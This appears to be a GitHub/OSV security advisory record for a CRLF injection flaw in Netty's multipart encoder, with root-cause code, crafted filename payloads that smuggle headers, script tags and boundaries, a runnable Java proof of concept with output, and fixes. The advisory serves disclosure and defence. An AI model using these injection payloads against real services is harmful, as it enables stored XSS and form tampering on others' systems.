{"id":"GHSA-gcjf-9mgh-3p7g","summary":"Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder","details":"# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n    + HttpHeaderValues.ATTACHMENT + \"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n    this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n    // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n    \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html                    \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e    \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg                   \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n        testFilenameInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    static void testFilenameInjection() throws Exception {\n        System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n        System.out.println(\"-------------------------------------------------------\");\n\n        // Create a temporary file for upload\n        File tempFile = File.createTempFile(\"test\", \".txt\");\n        tempFile.deleteOnExit();\n        try (FileWriter fw = new FileWriter(tempFile)) {\n            fw.write(\"test content\");\n        }\n\n        // Malicious filename with CRLF to inject Content-Type header\n        String maliciousFilename =\n            \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n            \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n        HttpRequest request = new DefaultHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n                new DefaultHttpDataFactory(false), request, true,\n                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n        DiskFileUpload fileUpload = new DiskFileUpload(\n                \"file\", maliciousFilename, \"application/octet-stream\",\n                \"binary\", StandardCharsets.UTF_8, tempFile.length());\n        fileUpload.setContent(tempFile);\n\n        encoder.addBodyHttpData(fileUpload);\n        encoder.finalizeRequest();\n\n        // Read the encoded multipart body\n        StringBuilder body = new StringBuilder();\n        while (!encoder.isEndOfInput()) {\n            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n            if (chunk != null) {\n                body.append(chunk.content().toString(StandardCharsets.UTF_8));\n                chunk.release();\n            }\n        }\n        encoder.cleanFiles();\n\n        String encoded = body.toString();\n        System.out.println(\"Malicious filename: \" +\n            maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n        System.out.println();\n        System.out.println(\"Encoded multipart body:\");\n        System.out.println(\"---\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"---\");\n\n        boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n        boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n        System.out.println();\n        System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n        System.out.println(\"Injected script tag: \" + hasInjectedScript);\n        System.out.println(\"VULNERABLE: \" +\n            ((hasInjectedHeader || hasInjectedScript) ?\n                \"YES - MIME header injection!\" : \"NO\"));\n\n        tempFile.delete();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n  -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n  --88aaade41dbb9f9f\\r\n  content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n  Content-Type: text/html\\r                          \u003c-- INJECTED\n  X-Injected: true\\r                                 \u003c-- INJECTED\n  \\r\n  \u003cscript\u003ealert(1)\u003c/script\u003e\\r                        \u003c-- INJECTED XSS\n  --\"\\r\n  content-length: 12\\r\n  content-type: application/octet-stream\\r\n  content-transfer-encoding: binary\\r\n  \\r\n  test content\\r\n  --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n    ObjectUtil.checkNotNull(filename, \"filename\");\n    for (int i = 0; i \u003c filename.length(); i++) {\n        char c = filename.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new IllegalArgumentException(\n                \"filename contains prohibited CRLF character at index \" + i);\n        }\n    }\n    this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == '\\r' || c == '\\n' || c == '\"') {\n            throw new ErrorDataEncoderException(\n                \"Multipart parameter contains prohibited character at index \" + i);\n        }\n    }\n    return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8''encoded%20filename\nString encodedFilename = \"UTF-8''\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)","aliases":["CVE-2026-59921"],"modified":"2026-07-22T23:25:38.839464Z","published":"2026-07-22T21:52:55Z","database_specific":{"github_reviewed_at":"2026-07-22T21:52:55Z","nvd_published_at":null,"cwe_ids":["CWE-93"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"},{"type":"PACKAGE","url":"https://github.com/netty/netty"},{"type":"WEB","url":"https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"},{"type":"WEB","url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"}],"affected":[{"package":{"name":"io.netty:netty-codec-http","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-codec-http"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Final"},{"fixed":"4.2.16.Final"}]}],"versions":["4.2.0.Final","4.2.1.Final","4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.13.Final","4.2.14.Final","4.2.15.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-gcjf-9mgh-3p7g/GHSA-gcjf-9mgh-3p7g.json"}},{"package":{"name":"io.netty:netty-codec-http","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-codec-http"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136.Final"}]}],"versions":["4.0.0.Alpha1","4.0.0.Alpha2","4.0.0.Alpha3","4.0.0.Alpha4","4.0.0.Alpha5","4.0.0.Alpha6","4.0.0.Alpha7","4.0.0.Alpha8","4.0.0.Beta1","4.0.0.Beta2","4.0.0.Beta3","4.0.0.CR1","4.0.0.CR2","4.0.0.CR3","4.0.0.CR4","4.0.0.CR5","4.0.0.CR6","4.0.0.CR7","4.0.0.CR8","4.0.0.CR9","4.0.0.Final","4.0.1.Final","4.0.10.Final","4.0.11.Final","4.0.12.Final","4.0.13.Final","4.0.14.Beta1","4.0.14.Final","4.0.15.Final","4.0.16.Final","4.0.17.Final","4.0.18.Final","4.0.19.Final","4.0.2.Final","4.0.20.Final","4.0.21.Final","4.0.22.Final","4.0.23.Final","4.0.24.Final","4.0.25.Final","4.0.26.Final","4.0.27.Final","4.0.28.Final","4.0.29.Final","4.0.3.Final","4.0.30.Final","4.0.31.Final","4.0.32.Final","4.0.33.Final","4.0.34.Final","4.0.35.Final","4.0.36.Final","4.0.37.Final","4.0.38.Final","4.0.39.Final","4.0.4.Final","4.0.40.Final","4.0.41.Final","4.0.42.Final","4.0.43.Final","4.0.44.Final","4.0.45.Final","4.0.46.Final","4.0.47.Final","4.0.48.Final","4.0.49.Final","4.0.5.Final","4.0.50.Final","4.0.51.Final","4.0.52.Final","4.0.53.Final","4.0.54.Final","4.0.55.Final","4.0.56.Final","4.0.6.Final","4.0.7.Final","4.0.8.Final","4.0.9.Final","4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.125.Final","4.1.126.Final","4.1.127.Final","4.1.128.Final","4.1.129.Final","4.1.13.Final","4.1.130.Final","4.1.131.Final","4.1.132.Final","4.1.133.Final","4.1.134.Final","4.1.135.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-gcjf-9mgh-3p7g/GHSA-gcjf-9mgh-3p7g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}